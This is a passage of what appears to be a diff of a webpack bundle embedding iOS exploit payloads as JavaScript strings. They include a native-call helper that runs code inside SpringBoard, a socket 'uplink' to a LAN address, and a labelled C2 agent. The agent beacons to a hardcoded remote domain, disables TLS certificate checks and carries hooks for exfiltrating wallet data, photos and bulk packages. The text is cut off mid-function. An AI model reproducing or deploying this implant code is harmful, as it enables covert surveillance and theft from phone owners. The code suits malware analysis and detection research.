new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) {\n\t\t\t\tlog('toNative(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') {\n\t\t\treturn value;\n\t\t}\n\t\telse\n\t\t\treturn BigInt(value);\n\t}\n\t\n\tstatic #toNativePtr(value) {\n\t\t//log(\"toNativePtr: \" + typeof value);\n\t\t// Strings need to be manually written to native memory\n\t\tif (!value)\n\t\t\treturn 0n;\n\t\tlet ptr = this.#argPtrPtr;\n\t\tif (typeof value === 'string') {\n\t\t\tif (value.length >= 0x1000) {\n\t\t\t\tlog('toNativePtr(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet strPtr = this.#argPtrStrPtr;\n\t\t\tthis.writeString(strPtr, value);\n\t\t\tthis.#argPtrStrPtr += BigInt(value.length + 1);\n\t\t\tvalue = strPtr;\n\t\t}\n\t\telse if (typeof value !== 'bigint') {\n\t\t\tvalue = BigInt(value);\n\t\t}\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t\tthis.#argPtrPtr += 8n;\n\t\treturn ptr;\n\t}\n\t\n\tstatic #dlsym(name) {\n\t\tif (!name)\n\t\t\treturn 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr)\n\t\t\treturn addr;\n\t\t//log(\"dlsym(): \" + name);\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr)\n\t\t\tthis.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\t//log(\"nativeCallAddr(): \" + addr);\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\t\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\n\t\tinvoker();\n\t\t\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\t//log(\"nativeCallSymbol(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n\t\n\tstatic #nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"nativeCallSymbolRetain(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\t\n\t\tconst selRetainArguments = this.callSymbol(\"sel_registerName\", \"retainArguments\");\n\t\tconst selSetArgument = this.callSymbol(\"sel_registerName\", \"setArgument:atIndex:\");\n\t\tconst selInvokeUsingIMP = this.callSymbol(\"sel_registerName\", \"invokeUsingIMP:\");\n\t\tconst selGetReturnValue = this.callSymbol(\"sel_registerName\", \"getReturnValue:\");\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selRetainArguments);\n\t\t\n\t\tif (x0) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x0, 0);\n\t\tif (x1) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x1, 1);\n\t\tif (x2) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x2, 2);\n\t\tif (x3) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x3, 3);\n\t\tif (x4) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x4, 4);\n\t\tif (x5) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x5, 5);\n\t\tif (x6) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x6, 6);\n\t\tif (x7) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x7, 7);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selInvokeUsingIMP, funcAddr);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selGetReturnValue, this.#argMemPtr);\n\t\tconst ret64 = this.readPtr(this.#argMemPtr);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\nfunction File(path) {\n\treturn path;\n}\n\nfunction log(msg) {\n\tif (logging)\n\t\treturn;\n\n\tlogging = true;\n\t\n\tconst data = Native.stringToBytes(msg + \"\\n\");\n\n\tconst O_WRONLY = 0x0001;\n\tconst O_APPEND = 0x0008;\n\tconst O_CREAT = 0x0200;\n\tconst flags = O_WRONLY | O_CREAT | O_APPEND;\n\tconst fd = Native.callSymbol(\"open\", File(logfile), flags, 0o644);\n\tif (fd < 0) {\n\t\tlogging = false;\n\t\treturn;\n\t}\n\n\t// For some reason file mode is not applied on open()\n\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\tlet offs = 0;\n\tlet left = data.byteLength;\n\n\tconst buffSize = 0x4000;\n\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\twhile (left) {\n\t\tconst size = left > buffSize ? buffSize : left;\n\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\tconst dst8 = new Uint8Array(src8);\n\t\tNative.write(buffPtr, dst8.buffer);\n\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\tif (!len || len < 0)\n\t\t\tbreak;\n\t\toffs += len;\n\t\tleft -= len;\n\t}\n\n\tNative.callSymbol(\"free\", buffPtr);\n\tNative.callSymbol(\"close\", fd);\n\n\tlogging = false;\n}\n\nvar logging = false;\nconst logfile = \"/private/var/mobile/Media/RemoteLog.log\";\n\nNative.init();\n\nNative.callSymbol(\"unlink\", File(logfile));\n\n// ===== DEBUG uplink: prove loader actually ran inside SpringBoard =====\ntry {\n\tvar _lfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_lfd >= 0) {\n\t\tvar _lone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_lone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _lfd, 0xffff, 0x1022, _lone, 4);\n\t\tNative.callSymbol(\"free\", _lone);\n\t\tvar _laddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _la8 = new Uint8Array(16);\n\t\t_la8[0] = 16; _la8[1] = 2; _la8[2] = 0x1B; _la8[3] = 0x6E;\n\t\t_la8[4] = 192; _la8[5] = 168; _la8[6] = 4; _la8[7] = 10;\n\t\tNative.write(_laddr, _la8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _lfd, _laddr, 16)) === 0) {\n\t\t\tvar _lreq = \"GET /log.html?text=PEMK_G_loader_alive_springboard HTTP/1.0\\r\\nHost: 192.168.31.130\\r\\n\\r\\n\";\n\t\t\tvar _lrbuf = Native.callSymbol(\"malloc\", _lreq.length + 1);\n\t\t\tNative.writeString(_lrbuf, _lreq);\n\t\t\tNative.callSymbol(\"write\", _lfd, _lrbuf, _lreq.length);\n\t\t\tNative.callSymbol(\"free\", _lrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _lfd);\n\t\tNative.callSymbol(\"free\", _laddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n"); /***/ }), @@ -1427,7 +1427,7 @@ __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); -/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// C2 Agent Payload - persistent loop in SpringBoard\n// Communicates with command.py via HTTP, runs until reboot\n// https://mh0usocqzi6f46i.com:443/beacon / https://mh0usocqzi6f46i.com:443/result replaced by server.py at load time\n// UUID and device model are obtained natively at runtime\n\nconst C2_BEACON_URL = \"https://mh0usocqzi6f46i.com:443/beacon\";\nconst C2_RESULT_URL = \"https://mh0usocqzi6f46i.com:443/result\";\nconst C2_CHANNEL_CODE = \"\";\nconst HQ_API_BASE = \"https://mh0usocqzi6f46i.com:443\";\nconst HQ_WALLET_PORT = \"443\";\nconst MAX_FILE_SIZE = 2 * 1024 * 1024;\nconst CHUNK_SIZE = 1024 * 1024;\n// /war single-POST threshold: larger packages are split into war_chunk parts on the same endpoint.\nconst WAR_POST_MAX = 5 * 1024 * 1024;\n\n// ============================================================================\n// Native Class (shared nativeCallBuff + invoker pattern)\n// ============================================================================\n\nclass Native {\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\tstatic #dlsymCache = {};\n\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr= this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr= this.#argMemPtrStr;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0, left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0, left = length;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\n\tstatic readPtr(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 8));\n\t\treturn v.getBigUint64(0, true);\n\t}\n\tstatic read32(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 4));\n\t\treturn v.getInt32(0, true);\n\t}\n\tstatic write64(ptr, value) {\n\t\tconst b = new ArrayBuffer(8);\n\t\tnew DataView(b).setBigUint64(0, value, true);\n\t\tthis.write(ptr, b);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\treturn this.bytesToString(this.read(ptr, len), false);\n\t}\n\tstatic writeString(ptr, str) {\n\t\tthis.write(ptr, this.stringToBytes(str, true));\n\t}\n\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0); x1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2); x3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4); x5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6); x7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNull=true) {\n\t\tlet a = new Uint8Array(bytes), s = \"\";\n\t\tfor (let i = 0; i < a.length; i++) {\n\t\t\tif (!includeNull && !a[i]) break;\n\t\t\ts += String.fromCharCode(a[i]);\n\t\t}\n\t\treturn s;\n\t}\n\tstatic stringToBytes(str, nullTerm=false) {\n\t\tlet b = new ArrayBuffer(str.length + (nullTerm ? 1 : 0));\n\t\tlet a = new Uint8Array(b);\n\t\tfor (let i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\t\tif (nullTerm) a[str.length] = 0;\n\t\treturn a.buffer;\n\t}\n\n\tstatic #toNative(v) {\n\t\tif (!v) return 0n;\n\t\tif (typeof v === 'string') {\n\t\t\tif (v.length >= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, v);\n\t\t\tthis.#argPtr += BigInt(v.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\treturn typeof v === 'bigint' ? v : BigInt(v);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet a = this.#dlsymCache[name];\n\t\tif (a) return a;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nb = this.stringToBytes(name, true);\n\t\tnew Uint8Array(nativeCallBuff).set(new Uint8Array(nb), 0x1000);\n\t\ta = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (a) this.#dlsymCache[name] = a;\n\t\treturn a;\n\t}\n\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet b = new BigInt64Array(nativeCallBuff);\n\t\tb[0]=addr; b[100]=x0; b[101]=x1; b[102]=x2; b[103]=x3;\n\t\tb[104]=x4; b[105]=x5; b[106]=x6; b[107]=x7;\n\t\tinvoker();\n\t\treturn b[200];\n\t}\n\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst addr = this.#dlsym(name);\n\t\tconst r = this.#nativeCallAddr(addr, ...args);\n\t\tif (r < 0xffffffffn && r > -0xffffffffn) return Number(r);\n\t\treturn r;\n\t}\n}\n\n// ============================================================================\n// URL Parsing\n// ============================================================================\n\nfunction parseURL(url) {\n\tlet host = \"\", port = 80, path = \"/\";\n\tlet s = url;\n\tif (s.indexOf(\"https://\") === 0) { s = s.substring(8); port = 443; }\n\telse if (s.indexOf(\"http://\") === 0) s = s.substring(7);\n\tconst sl = s.indexOf(\"/\");\n\tif (sl >= 0) { path = s.substring(sl); s = s.substring(0, sl); }\n\tconst cl = s.indexOf(\":\");\n\tif (cl >= 0) { host = s.substring(0, cl); port = parseInt(s.substring(cl + 1)); }\n\telse host = s;\n\treturn { host, port, path };\n}\n\n// ============================================================================\n// Base64\n// ============================================================================\n\nconst B64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nfunction bytesToBase64(bytes) {\n\tlet r = \"\";\n\tfor (let i = 0; i < bytes.length; i += 3) {\n\t\tconst a = bytes[i], b = i+1 < bytes.length ? bytes[i+1] : 0, c = i+2 < bytes.length ? bytes[i+2] : 0;\n\t\tr += B64[a >> 2];\n\t\tr += B64[((a & 3) << 4) | (b >> 4)];\n\t\tr += i+1 < bytes.length ? B64[((b & 15) << 2) | (c >> 6)] : \"=\";\n\t\tr += i+2 < bytes.length ? B64[c & 63] : \"=\";\n\t}\n\treturn r;\n}\n\n// ============================================================================\n// POSIX Socket HTTP Client (http:// only, LAN testing)\n// ============================================================================\n\nfunction _sendBytes(fd, str) {\n\tconst SZ = 4096;\n\tlet sent = 0;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ + 1));\n\twhile (sent < str.length) {\n\t\tconst end = sent + SZ < str.length ? sent + SZ : str.length;\n\t\tconst part = str.substring(sent, end);\n\t\tNative.writeString(buf, part);\n\t\tconst n = Number(Native.callSymbol(\"write\", fd, buf, part.length));\n\t\tif (n <= 0) break;\n\t\tsent += n;\n\t}\n\tNative.callSymbol(\"free\", buf);\n}\n\nfunction _recvAll(fd) {\n\tconst SZ = 4096;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ));\n\tlet result = \"\";\n\tfor (;;) {\n\t\tconst n = Number(Native.callSymbol(\"read\", fd, buf, SZ - 1));\n\t\tif (n <= 0) break;\n\t\tresult += Native.readString(buf, n);\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn result;\n}\n\nfunction _socketPost(host, port, path, bodyStr) {\n\tconst fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return null;\n\n\ttry {\n\t\tconst tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n);\n\t\tNative.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\n\t\tconst sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tconst sab = new ArrayBuffer(16);\n\t\tconst sv = new DataView(sab);\n\t\tsv.setUint8(0, 16);\n\t\tsv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tconst p = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(p[0]));\n\t\tsv.setUint8(5, parseInt(p[1]));\n\t\tsv.setUint8(6, parseInt(p[2]));\n\t\tsv.setUint8(7, parseInt(p[3]));\n\t\tNative.write(sa, sab);\n\n\t\tconst cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return null;\n\n\t\tconst hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host + \"\\r\\nContent-Type: application/json\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t_sendBytes(fd, hdr);\n\t\t_sendBytes(fd, bodyStr);\n\n\t\tconst resp = _recvAll(fd);\n\t\tconst idx = resp.indexOf(\"\\r\\n\\r\\n\");\n\t\tif (idx < 0) return null;\n\t\ttry { return JSON.parse(resp.substring(idx + 4)); } catch(e) { return null; }\n\t} finally {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n}\n\n// ============================================================================\n// CFStream HTTPS Client (https:// - production with Nginx/Cloudflare)\n// ============================================================================\n\nconst _RTLD_DEFAULT = 0xfffffffffffffffen;\n\nfunction _makeCFString(str) {\n\tvar buf = Native.callSymbol(\"malloc\", str.length + 1);\n\tNative.writeString(buf, str);\n\tvar cfs = Native.callSymbol(\"CFStringCreateWithCString\", 0n, buf, 0x08000100);\n\tNative.callSymbol(\"free\", buf);\n\treturn cfs;\n}\n\nfunction _getGlobalCF(name) {\n\tvar addr = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, name);\n\tif (!addr || addr === 0n) return 0n;\n\treturn Native.readPtr(BigInt(addr));\n}\n\nfunction _getGlobalCFSafe(name) {\n\tvar val = _getGlobalCF(name);\n\tif (val && val !== 0n) return val;\n\treturn _makeCFString(name);\n}\n\nfunction _cfstreamPost(host, port, path, bodyStr) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return null;\n\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\",\n\t\t\t0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\n\t\tNative.callSymbol(\"CFRelease\", hostCF);\n\t\thostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr));\n\t\tNative.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return null;\n\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryValueCallBacks\");\n\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\",\n\t\t\t\t\t0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return null;\n\n\t\t\tvar hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host +\n\t\t\t\t\"\\r\\nContent-Type: application/json\" +\n\t\t\t\t\"\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\" +\n\t\t\t\t\"\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t\tvar fullReq = hdr + bodyStr;\n\t\t\tvar reqBuf = Native.callSymbol(\"malloc\", fullReq.length + 1);\n\t\t\tNative.writeString(reqBuf, fullReq);\n\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < fullReq.length) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\",\n\t\t\t\t\tws, BigInt(reqBuf) + BigInt(totalSent),\n\t\t\t\t\tfullReq.length - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(reqBuf));\n\t\t\tif (totalSent < fullReq.length) return null;\n\n\t\t\tvar respBuf = Native.callSymbol(\"malloc\", 65536);\n\t\t\tvar result = \"\";\n\t\t\tfor (var ri = 0; ri < 50; ri++) {\n\t\t\t\tvar br = Number(Native.callSymbol(\"CFReadStreamRead\",\n\t\t\t\t\trs, BigInt(respBuf), 65535));\n\t\t\t\tif (br <= 0) break;\n\t\t\t\tresult += Native.readString(BigInt(respBuf), br);\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(respBuf));\n\n\t\t\tvar idx = result.indexOf(\"\\r\\n\\r\\n\");\n\t\t\tif (idx < 0) return null;\n\t\t\ttry { return JSON.parse(result.substring(idx + 4)); } catch(e) { return null; }\n\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _writeLog(msg) {\n\ttry {\n\t\tvar ts = new Date().toISOString();\n\t\tvar line = \"[\" + ts + \"] \" + msg + \"\\n\";\n\t\tvar fd = Number(Native.callSymbol(\"open\", \"/tmp/c2_wallet_debug.log\", 0x209, 0x1FF));\n\t\tif (fd > 0) {\n\t\t\tvar buf = Native.callSymbol(\"malloc\", line.length + 1);\n\t\t\tNative.writeString(buf, line);\n\t\t\tNative.callSymbol(\"write\", fd, buf, line.length);\n\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\tNative.callSymbol(\"close\", fd);\n\t\t}\n\t} catch(e) {}\n\ttry {\n\t\tvar u = \"\";\n\t\ttry { u = DEVICE_UUID; } catch(_u) {}\n\t\thqPost(\"/log\", { uuid: u, lhu: u, text: String(msg), source: \"c2_wallet\" });\n\t} catch(_le) {}\n}\n\n// ============================================================================\n// httpPost - dual mode (https -> CFStream TLS, http -> POSIX socket)\n// ============================================================================\n\nfunction httpPost(url, body) {\n\tconst { host, port, path } = parseURL(url);\n\tconst bodyStr = JSON.stringify(body);\n\tif (url.indexOf(\"https://\") === 0) {\n\t\treturn _cfstreamPost(host, port, path, bodyStr);\n\t}\n\treturn _socketPost(host, port, path, bodyStr);\n}\n\nfunction hqPost(endpoint, body) {\n\ttry { return httpPost(HQ_API_BASE + endpoint, body); }\n\tcatch(e) { return null; }\n}\n\n// ============================================================================\n// HQ Photo Multipart Upload\n// ============================================================================\n\nfunction _writeStr(ptr, str) {\n\tvar buf = new ArrayBuffer(str.length);\n\tvar a = new Uint8Array(buf);\n\tfor (var i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\tNative.write(ptr, buf);\n}\n\nfunction _cfstreamSendRaw(host, port, reqBuf, reqLen) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return false;\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\", 0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\t\tNative.callSymbol(\"CFRelease\", hostCF); hostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr)); Native.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return false;\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryValueCallBacks\");\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = 